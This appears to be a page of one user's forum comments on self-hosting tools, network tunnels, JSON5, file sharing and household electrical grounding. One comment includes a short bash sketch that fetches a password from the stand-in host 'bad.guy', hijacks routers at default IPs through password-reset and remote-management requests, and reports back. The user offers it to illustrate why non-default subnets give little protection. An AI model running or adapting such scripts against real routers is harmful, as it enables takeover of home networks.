cravl

Cloudflare tunnels is more than just a reverse proxy, but agreed. That might be the better option regardless. If you’re Cloudflare-averse, you can use Tailscale funnels, or spin up your own rproxy+tunnel solution (there are plenty out there, such as Rathole, Zrok, or frp).

No worries. It is technically another layer in the “swiss cheese” model, but it certainly is more holes than cheese. I think it falls into the “can’t hurt, might help” category.

That’s what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

…completely pointless. If it’s a someone inside your network, you need more.

Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they’re pretty simple scripts that just try to hit default ports on default IPs.

Agreed, copyparty is awesome. However, the one obvious downside is that you lose guaranteed offline support (some clients may allow for it, but it’s not baked in).

For small personal deployments, is SQLite support planned? It’s crazy performant and I have to imagine it would work for up to 500 contacts at the very least, which should cover the majority of deployments. Making Redis optional (otherwise using a basic in-memory KV store of some kind) would also be cool.

And like yeah, both the wonderful (and foss!) .json5 and Microsoft’s semi-proprietary(?) .jsonc exist, but most projects just use their language’s default JSON parser that doesn’t recognize them. What I would personally love to see is .json5 support baked into the default JSON parsing libraries of Python, Go, etc. (Enabled by a flag, likely.) It’s a superset of regular JSON and fully ES2019 compatible, so there shouldn’t be any issues.

I would add PairDrop to your list to have bookmarked. It’s completely web-based so no download required and thus fully cross-platform. It also works across different networks (i.e. over the internet) by pairing devices or creating a room. Basically Apple AirDrop, but universal and on steroids.

Eh, I’m not sure if the world can be picked backup, it’s been knocked down pretty hard. I’m always down for trying though.

/apr1

Except in very rare configurations (i.e. not 99.9% of residential), you do not want to have multiple paths to ground within a system. All grounds should go to the tied ground/neutral bus in the main breaker panel, which then goes to earth via a ground rod or a clamp to a copper gas/water line, etc. Otherwise you can have current flowing in ways that the system isn’t designed for, which at the least can trip breakers and GFCIs, and at worst exceed the rating of the wires in a short condition and cause a fire.

Except in very rare configurations (i.e. not 99.9% of residential), you do not want to have multiple paths to ground within a system. All grounds should go to the tied ground/neutral bus in the main breaker panel, which then goes to earth via a ground rod or a clamp to a copper gas/water line, etc. Otherwise you can have current flowing in ways that the system isn’t designed for, which at the least can trip breakers and GFCIs, and at worst exceed the rating of the wires in a short condition and cause a fire.